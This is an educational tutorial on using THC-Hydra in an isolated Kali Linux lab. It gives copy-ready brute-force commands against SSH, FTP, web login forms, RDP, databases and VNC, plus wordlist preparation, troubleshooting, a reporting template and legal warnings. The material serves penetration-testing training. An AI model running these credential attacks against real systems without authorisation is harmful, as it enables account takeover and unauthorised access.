How to Use Hydra on Kali Linux VM to Crack Passwords Ethically — Full Guide
⚠️ Legal Disclaimer: This guide is written exclusively for ethical hacking, authorized penetration testing, and cybersecurity education. Using Hydra or any password-cracking tool against systems you do not own or have explicit written permission to test is illegal under the Computer Fraud and Abuse Act (CFAA) in the United States, the Computer Misuse Act in the UK, and equivalent laws in most jurisdictions worldwide. Every technique in this guide must only be practiced in isolated virtual machine environments you control, or on systems where you hold documented written authorization from the system owner. The author and publisher accept no responsibility for misuse.
Knowing that brute-force attacks exist is not the same as understanding how they work. Reading about dictionary attacks in a textbook is not the same as watching Hydra work through a wordlist in real time and returning valid credentials against a live service. The difference between theoretical and practical knowledge in cybersecurity is measured in hands-on hours — and this guide gives you the framework to build those hours correctly, legally, and productively.
This guide walks through setting up a proper isolated lab on Kali Linux, explains how THC-Hydra operates at the protocol level, and delivers complete copy-ready command syntax for the most common attack scenarios encountered in real penetration tests, Capture the Flag competitions, and security certification exams. Every command is designed for isolated VM environments only. None of it belongs near a production system.
What Is THC-Hydra and Why Is It the Standard Tool for Online Password Attacks?
THC-Hydra — referred to simply as Hydra — is an open-source, parallelized network login cracker developed by The Hacker's Choice security research group. It is specifically engineered for online brute-force attacks: testing credential combinations directly against running network services in real time, over real network connections.
This is the defining characteristic that separates Hydra from tools like Hashcat and John the Ripper. Those tools work offline — cracking extracted password hashes from database dumps or system files without touching any live service. Hydra works online — sending actual login attempts to a running SSH server, FTP service, web login form, or database in real time and evaluating the response.
When a penetration tester has identified a live service with an authentication prompt and needs to determine whether weak credentials exist, Hydra is the appropriate first tool. Its breadth of protocol support is unmatched in the open-source tooling ecosystem.
Protocols Hydra supports include:
SSH v1 and v2, FTP, HTTP-GET, HTTP-POST, HTTPS-GET, HTTPS-POST, HTTP-Basic-Auth, RDP, SMB, MySQL, PostgreSQL, Oracle, MSSQL, LDAP, VNC, Telnet, SMTP, IMAP, POP3, SNMP, SOCKS5, Cisco AAA, Cisco auth, CVS, and numerous others.
This protocol coverage is why Hydra comes pre-installed on Kali Linux and is included in the default toolkit of every major penetration testing distribution. It is one of a small number of tools that appear across virtually every professional pentesting methodology, every major security certification curriculum, and every CTF category involving authentication testing.
aesthetic. -->
Step 1: Building Your Isolated Lab Environment
The professional standard before running any offensive security tool is a properly isolated lab. This is not optional — it is the baseline that separates responsible security practice from reckless or illegal behavior.
What You Need
A Hypervisor — Virtualization Platform
Download and install one of the following on your host machine:
- Oracle VirtualBox — free, open-source, available at virtualbox.org. Recommended for most users.
- VMware Workstation Pro or Player — available at vmware.com. Pro requires a license; Player is free for personal use.
Kali Linux
Download the official pre-built VirtualBox or VMware image directly from kali.org/get-kali. The pre-built OVA imports in minutes. Alternatively, download the ISO and perform a full installation if you want disk encryption and a custom environment.
A Target Virtual Machine
You need a second VM to attack legally. The most practical options:
- Metasploitable 2 — a deliberately vulnerable Ubuntu Linux VM produced by Rapid7 for penetration testing practice. Download from SourceForge. It runs SSH, FTP, HTTP, MySQL, and other services with intentionally weak credentials.
- DVWA (Damn Vulnerable Web Application) — a PHP/MySQL application built to be attacked. Excellent for HTTP form-based attack practice.
- VulnHub machines — community-contributed vulnerable VMs at vulnhub.com covering every skill level from beginner to expert.
Network Isolation — Non-Negotiable Configuration
Configure both VMs on the same Host-Only network adapter. In VirtualBox:
VM Settings → Network → Adapter 1 → Attached to: Host-Only Adapter
Apply this to both your Kali VM and your target VM. This creates a completely private network segment — your attack traffic stays between the two VMs and never touches your actual home network or the internet.
Verify isolation before proceeding:
# From Kali — confirm you can reach your target
ping 192.168.56.101
# From Kali — confirm you cannot reach the internet
ping 8.8.8.8
The first should succeed. The second should time out. Only proceed when both conditions are confirmed.
Step 2: Installing and Verifying Hydra
Kali Linux ships with Hydra pre-installed. Verify it is present and check the version:
hydra --version
Expected output:
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak
If Hydra is not installed, install it:
sudo apt update && sudo apt install hydra -y
View the full help menu to confirm the installation and review all available options:
hydra -h
The help output lists every available flag, module, and usage example. Keep this command bookmarked — it is the fastest reference when you need to recall a specific flag mid-test.
Step 3: Hydra Core Syntax and Essential Flags
Understanding the command architecture prevents the syntax confusion that derails most beginners. Hydra follows a consistent structure:
hydra [options] [target] [service]
Complete Essential Flag Reference:
Username and Password Flags
-l— Single username as a string:-l admin-L— Path to a username list file:-L usernames.txt-p— Single password as a string:-p password123-P— Path to a password list file:-P rockyou.txt-C— Combined credentials file inuser:passformat:-C credentials.txt-e nsr— Test three quick patterns before the wordlist: empty password (n), username as password (s), reversed username (r)
Connection and Threading Flags
-t— Number of parallel threads:-t 4-w— Seconds to wait for a response before timeout:-w 5-W— Seconds to wait between connection attempts:-W 3-s— Override the default port number:-s 2222-M— Path to a file containing multiple target hosts:-M targets.txt
Output and Session Flags
-v— Verbose mode — shows key events during the attack-V— Very verbose — prints every single attempt to the terminal-f— Stop immediately after the first valid credential is found-F— Stop on the first valid credential found per host-o— Write all results to a specified output file:-o results.txt-R— Resume a previously interrupted Hydra session from the saved checkpoint
A complete SSH attack command using these flags:
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f -o results.txt ssh://192.168.56.101
Decoded: -l admin tests the username admin, -P rockyou.txt uses the rockyou wordlist, -t 4 runs 4 parallel threads, -f stops immediately on first valid credential, -o results.txt writes output to file, and ssh://192.168.56.101 is the target.
Step 4: Wordlists — rockyou.txt, pw-inspector, and Custom Generation
Your wordlist determines your attack's effectiveness. Understanding what Kali provides and how to optimize lists for specific targets is a core penetration testing skill.
Built-in Kali Wordlists
# View all available wordlists
ls /usr/share/wordlists/
# Decompress the primary wordlist if still compressed
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
# Confirm total line count
wc -l /usr/share/wordlists/rockyou.txt
# Output: 14344392
# View specialized Metasploit wordlists
ls /usr/share/wordlists/metasploit/
Notable Metasploit lists: unix_passwords.txt, unix_users.txt, http_default_usernames.txt, http_default_pass.txt.
Filtering with pw-inspector
pw-inspector ships with Hydra and filters wordlists by length and character class — reducing list size dramatically when you know the target's password policy.
# Filter to passwords between 8 and 16 characters only
pw-inspector -i /usr/share/wordlists/rockyou.txt -o filtered.txt -m 8 -M 16
# Filter to passwords containing lowercase, uppercase, and numbers
pw-inspector -i /usr/share/wordlists/rockyou.txt -o complex.txt -m 8 -l -u -n
Flags: -m minimum length, -M maximum length, -l must contain lowercase, -u must contain uppercase, -n must contain numbers.
Generating Custom Wordlists with Crunch
When target intelligence suggests a specific password pattern, crunch generates exhaustive custom lists:
# All lowercase + number combinations, 8 to 10 characters
crunch 8 10 abcdefghijklmnopqrstuvwxyz0123456789 -o custom.txt
# Pattern-based: "Company" followed by 4 digits
crunch 11 11 -t Company%%%% -o company_passwords.txt
Use custom lists selectively — exhaustive combination lists grow to tens of gigabytes quickly.
Step 5: SSH Brute-Force Attacks with Hydra
SSH is the most commonly tested service in penetration tests involving Linux and Unix systems. Weak SSH credentials on exposed servers represent a critical, widely exploited vulnerability.
Single Username Against Wordlist
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 6 -f ssh://192.168.56.101
Username List Against Password List
hydra -L /usr/share/wordlists/metasploit/unix_users.txt \
-P /usr/share/wordlists/rockyou.txt \
-t 4 -f ssh://192.168.56.101
SSH on Non-Standard Port
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 2222 -f ssh://192.168.56.101
Saving Output With Verbose Mode
hydra -l root -P /usr/share/wordlists/rockyou.txt \
-t 6 -f -V -o ssh_results.txt \
ssh://192.168.56.101
Quick Win — Testing Common Weak Credential Patterns
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-e nsr -t 4 -f ssh://192.168.56.101
-e nsr tests three patterns before the wordlist: empty password, username as password, and reversed username — catching default configurations faster than waiting for the full wordlist.
Successful output:
[22][ssh] host: 192.168.56.101 login: root password: toor
1 of 1 target successfully completed, 1 valid password found
Post-discovery documentation: Record the credential pair, timestamp, and Hydra command used. Remediation recommendations: enforce key-based authentication, disable PasswordAuthentication in /etc/ssh/sshd_config, implement fail2ban, and restrict access by IP range.
Step 6: FTP Brute-Force Attacks
FTP servers — particularly legacy systems and misconfigured NAS devices — frequently retain default or factory credentials.
# Basic FTP attack
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 ftp://192.168.56.101
# Username list and password list
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 4 -f ftp://192.168.56.101
# Verbose mode — watch every attempt
hydra -l ftp -P /usr/share/wordlists/rockyou.txt -V -t 4 ftp://192.168.56.101
# FTP on non-standard port
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 2121 -f ftp://192.168.56.101
# Combined credentials file (user:pass format)
hydra -C /usr/share/wordlists/metasploit/ftp_default_userpass.txt ftp://192.168.56.101
The -C flag accepts a file where each line is username:password — useful for testing default credential pairs before running a full wordlist attack.
Step 7: HTTP and HTTPS Web Login Form Attacks
Web application authentication testing is where Hydra requires the most configuration — and where most penetration testers get stuck. The command structure for web form attacks has three required parts that must match the target form exactly.
Step 7a — Identify the Form Parameters
Before writing the Hydra command, you must understand how the target login form submits credentials.
- Open the target web application in a browser
- Open Developer Tools:
F12→ Network tab - Submit a deliberately wrong login attempt
- Click the POST request in the Network tab
- Examine the request payload and identify:
- The form action URL — where credentials are sent
- The username field name —
username,user,email, etc. - The password field name —
password,pass,pwd, etc. - The failure string — text that appears when login fails
Example from DVWA: Action URL /login.php, username field username, password field password, failure string Login failed.
Step 7b — HTTP POST Form Attack
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
192.168.56.101 \
http-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"
The module string has three colon-separated parts. Part one is the form action URL. Part two is the POST body with ^USER^ and ^PASS^ as Hydra's substitution markers — replaced with each credential pair as it iterates. Part three is the failure condition — F= means fail when this text is found in the response; S= means succeed when this text is found.
Step 7c — HTTP GET Form Attack
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
192.168.56.101 \
http-get-form "/login:user=^USER^&pass=^PASS^:F=Incorrect"
Step 7d — HTTPS Login Form Attack
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
192.168.56.101 \
https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"
Change http-post-form to https-post-form. The rest of the syntax is identical.
Step 7e — HTTP Basic Authentication
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
http-get://192.168.56.101/admin
Most common failure: The failure string in your command does not exactly match the server's response. Copy it character-by-character from the actual response in DevTools. Even a difference in capitalization causes Hydra to misidentify every failed attempt as a success.
Step 8: RDP, MySQL, SMTP, VNC, and PostgreSQL
Remote Desktop Protocol
# Standard RDP attack
hydra -l administrator -P /usr/share/wordlists/rockyou.txt \
-t 2 rdp://192.168.56.102
# With verbose output
hydra -l Administrator -P /usr/share/wordlists/rockyou.txt \
-t 2 -V rdp://192.168.56.102
Keep threads at -t 1 or -t 2 for RDP. The protocol throttles connections aggressively — higher thread counts trigger blocks before valid credentials can be confirmed.
MySQL
hydra -l root -P /usr/share/wordlists/rockyou.txt \
-t 4 mysql://192.168.56.101
SMTP Mail Server
hydra -l user@company.com -P /usr/share/wordlists/rockyou.txt \
-t 4 smtp://192.168.56.101
VNC
# VNC uses only a password — no -l flag needed
hydra -P /usr/share/wordlists/rockyou.txt -t 4 vnc://192.168.56.101
PostgreSQL
hydra -l postgres -P /usr/share/wordlists/rockyou.txt \
-t 4 postgres://192.168.56.101
Multi-Service Quick Reference:
- SSH — protocol flag
ssh://, default port 22, recommended threads 4–6 - FTP — protocol flag
ftp://, default port 21, recommended threads 4–8 - HTTP Form — module
http-post-form, default port 80, recommended threads 4 - HTTPS Form — module
https-post-form, default port 443, recommended threads 4 - RDP — protocol flag
rdp://, default port 3389, max threads 1–2 (throttles aggressively) - MySQL — protocol flag
mysql://, default port 3306, recommended threads 4 - SMTP — protocol flag
smtp://, default port 25, recommended threads 4 - VNC — protocol flag
vnc://, default port 5900, recommended threads 4 (no-lflag needed) - PostgreSQL — protocol flag
postgres://, default port 5432, recommended threads 4
Step 9: Multi-Target Attacks and Resuming Sessions
Attacking Multiple Hosts Simultaneously
In a network penetration test, you may need to test password policies across a subnet rather than a single host.
Create a targets file:
nano targets.txt
Contents — one IP per line:
192.168.56.101
192.168.56.102
192.168.56.103
Attack all targets:
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-M targets.txt -t 4 -f ssh
When using -M, specify the protocol without :// and without a trailing IP — both are replaced by the targets file reference.
Resuming an Interrupted Session
If Hydra is interrupted mid-attack — network disruption, system restart — resume from the last checkpoint:
hydra -R
Hydra saves session state automatically to a restore file. -R reads it and continues without restarting the wordlist from the beginning.
Writing Output to File
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-t 4 -f -o /home/kali/pentest/ssh_results.txt \
ssh://192.168.56.101
Always output results to a named file during formal engagements. Screenshots supplement documentation but text file output is the authoritative evidence record.
Step 10: Troubleshooting Common Hydra Errors
Connection refused on SSH target
Cause: SSH service not running or wrong IP. Fix: run nmap -p 22 [IP] to verify the service and port. Start the service on your target VM if needed.
Many connection errors warning
Cause: Thread count too high for the service. Fix: reduce to -t 2 or -t 1 and add -W 3 for a 3-second wait between attempts.
HTTP form attack finds no results despite correct password in list Cause: Failure string mismatch. Fix: inspect the exact server response text in browser DevTools. Copy the failure string precisely — capitalization and punctuation must match exactly.
Hydra command not found
Cause: Hydra not installed. Fix: sudo apt install hydra -y.
Attack running extremely slowly
Cause: Service is throttling connections or wordlist is very large. Fix: reduce threads, add -w 5 response timeout, filter wordlist with pw-inspector first.
All children disabled due to too many connection errors
Cause: Connection instability or service overload. Fix: restart with -t 1 and -W 5. Confirm target VM is responsive with a ping test before retrying.
Hydra vs. Other Password Attack Tools
Understanding where Hydra fits prevents reaching for the wrong tool in time-sensitive scenarios.
- Hydra — online brute-force against live network services (SSH, FTP, HTTP, RDP, MySQL, VNC). Use it when you have a running service with a login prompt.
- Hashcat — offline hash cracking against extracted hash files (NTLM, SHA256, MD5, bcrypt, WPA handshakes). Use it when you have pulled hashes from a database or Active Directory.
- John the Ripper — offline hash cracking with automatic format detection. Best for Unix shadow files, encrypted ZIP or PDF documents, and Office passwords.
- Medusa — online brute-force with similar protocol scope to Hydra. Reach for it when Hydra fails on a specific service or protocol implementation.
- Burp Suite Intruder — web application authentication attacks with full session management, CSRF token handling, and JavaScript challenge support. Use it on complex web apps where Hydra's form module cannot handle the authentication flow.
- CrackMapExec — network protocol attacks designed for enterprise Windows environments. Covers Active Directory, SMB, WinRM, and LDAP credential spraying and validation at scale.
- Spray — password spraying tool that tests one password across a large account list. Use it when account lockout policies make per-account brute-force impractical.
The decision rule: live service with a login prompt — use Hydra. Extracted hashes from a compromised system — use Hashcat or John. Complex web application with tokens — use Burp Suite Intruder. Windows domain environment — use CrackMapExec.
Documenting Findings: Professional Penetration Test Reporting
A discovered credential is only professionally valuable when it is documented clearly. Standard finding template for Hydra results:
FINDING: Weak Password Policy — SSH Authentication
SEVERITY: Critical
HOST: 192.168.56.101 | PORT: 22 | SERVICE: OpenSSH 7.4
EVIDENCE:
Dictionary attack performed using THC-Hydra v9.6 on [date].
Wordlist: /usr/share/wordlists/rockyou.txt (14.3M entries)
Duration: [X] minutes at 6 threads
Result: Credential pair root:toor authenticated successfully.
COMMAND USED:
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 6 -f ssh://192.168.56.101
RISK:
An attacker with network access to this host can authenticate as
root using freely available tools and wordlists, gaining full
root-level access without specialized knowledge or resources.
REMEDIATION:
1. Change credential immediately to strong unique passphrase (16+ chars)
2. Disable PasswordAuthentication in /etc/ssh/sshd_config
3. Enforce key-based SSH authentication only
4. Implement fail2ban — block IPs after 5 failed attempts
5. Restrict SSH to specific management IP ranges via firewall
6. Enable MFA where SSH client supports it
Clear, structured findings documentation is what separates professional penetration testing from hobbyist experimentation. The report is the deliverable — not the attack.
Legal and Ethical Boundaries — The Standards That Define Professional Practice
This section is not a formality. It is the content that determines whether you are a security professional or a criminal — and the line between the two is defined entirely by authorization and documentation.
Written authorization is mandatory — not optional, not verbal. Before testing any system you do not personally own, obtain a signed Rules of Engagement document specifying the IP ranges in scope, the testing window, the permitted techniques, escalation contacts, and data handling requirements for discovered credentials. No document means no authorization means criminal exposure regardless of intent.
Scope violations carry no legal protection. If your authorization covers 192.168.56.0/24, attacking 192.168.57.0/24 is unauthorized even within the same engagement. Scope boundaries are absolute.
Lab environments are non-negotiable. Metasploitable 2, DVWA, VulnHub, TryHackMe, and Hack The Box exist specifically to provide legal targets. There is no legitimate reason to practice against live systems when these environments offer equivalent learning value.
Governing law by jurisdiction:
- United States — Computer Fraud and Abuse Act (CFAA): up to 10 years imprisonment per count
- United Kingdom — Computer Misuse Act 1990: up to 10 years imprisonment
- European Union — Directive on Attacks Against Information Systems: penalties vary by member state
- Canada — Criminal Code Section 342.1: up to 10 years imprisonment
- Australia — Criminal Code Act 1995 Part 10.7: up to 10 years imprisonment
Professional certifications that teach ethical use of Hydra:
- CompTIA PenTest+ (CompTIA) — intermediate level, vendor-neutral penetration testing credential
- Certified Ethical Hacker — CEH (EC-Council) — intermediate level, widely recognized enterprise credential
- eJPT — Junior Penetration Tester (eLearnSecurity / INE) — beginner level, highly practical starting point
- OSCP — Offensive Security Certified Professional (Offensive Security) — advanced level, the industry gold standard for hands-on penetration testing
- PNPT — Practical Network Penetration Tester (TCM Security) — intermediate level, practical exam format with report submission
Frequently Asked Questions
Is using Hydra legal? Hydra is legal to download, install, and use against systems you own or have explicit written authorization to test. Using it against any system without documented authorization is a criminal offense in virtually every jurisdiction. Authorization must be written, signed, and specific about scope.
Does Hydra work on HTTPS websites?
Yes. Use the https-post-form or https-get-form modules. The command syntax is identical to the HTTP versions — only the module name changes. Hydra handles TLS/SSL internally.
How many threads should I use? For SSH and FTP: 4–6 threads. For HTTP forms: 4 threads. For RDP: 1–2 threads maximum. Higher thread counts cause services to throttle connections or trigger automatic IP blocks.
Why is my HTTP form attack not finding credentials?
Almost always caused by a failure string mismatch. The text in your F= parameter must exactly match what the server returns on a failed login — including capitalization and punctuation. Inspect the actual response in DevTools and copy the failure string precisely.
Can Hydra bypass two-factor authentication? Standard Hydra attacks cannot bypass properly implemented 2FA. If a service requires a second factor after correct password entry, Hydra authenticates the password but cannot supply the OTP or hardware token. This is why 2FA is one of the most effective defenses against online brute-force attacks.
What is the difference between -l and -L?
-l (lowercase) specifies a single username as a string. -L (uppercase) specifies a file path containing a list of usernames, one per line. The same convention applies to passwords: -p for a single value, -P for a list file.
How do I resume an interrupted Hydra attack?
Run hydra -R in the same directory. Hydra saves session state automatically and -R resumes from the last checkpoint without restarting the wordlist.
What should I do when I find a weak password during a test? Document the finding, credential pair, and time of discovery immediately. Stop using those credentials beyond what is authorized in your scope. Report the finding to the system owner as a priority, classified by the access level the credential provides.
Related Articles
-
Outlier AI Review 2026: Real Pay Rates, Task Types, and Honest Verdict — for readers building cybersecurity skills alongside AI evaluation work: Outlier recruits security researchers and technical professionals for domain-specific AI model evaluation projects.
-
Handshake AI MOVE Fellowship Review: Is the Domain Specialist Program Worth It? — cybersecurity researchers and computer science professionals with graduate credentials are among the most matched profiles for high-paying MOVE domain specialist projects.
-
Highest Paying AI and LLM Training Jobs for Students and Researchers in 2026 — the intersection of cybersecurity expertise and AI model evaluation is a growing high-pay niche. Security research backgrounds are increasingly recruited for AI safety and model red-teaming evaluation roles.
External Resources
-
Official Hydra GitHub Repository: github.com/vanhauser-thc/thc-hydra — source code, full documentation, all supported modules, and latest release notes.
-
Kali Linux Official Hydra Tool Page: kali.org/tools/hydra — official Kali documentation with command reference.
-
VulnHub — Legal Vulnerable VM Targets: vulnhub.com — community library of deliberately vulnerable VMs for isolated lab practice.
-
TryHackMe — Guided Ethical Hacking Labs: tryhackme.com — browser-based ethical hacking labs with guided Hydra exercises in legal isolated environments.
-
Hack The Box — Advanced Penetration Testing: hackthebox.com — challenge machines for practicing real-world penetration testing including password attack scenarios.
-
Offensive Security — OSCP Certification: offensive-security.com/pwk-oscp — industry-standard penetration testing certification. Hydra is core curriculum.
-
OWASP Testing Guide — Authentication Testing: owasp.org/www-project-web-security-testing-guide — authoritative web application security testing methodology reference.
-
NIST Cybersecurity Framework: nist.gov/cyberframework — official U.S. framework for cybersecurity risk management and penetration testing standards.
Disclaimer: This guide is published exclusively for educational purposes, authorized penetration testing, and cybersecurity skill development in isolated lab environments. All techniques must only be used against systems you own or have explicit documented authorization to test. Unauthorized use of password-cracking tools is a criminal offense. The author accepts no liability for misuse.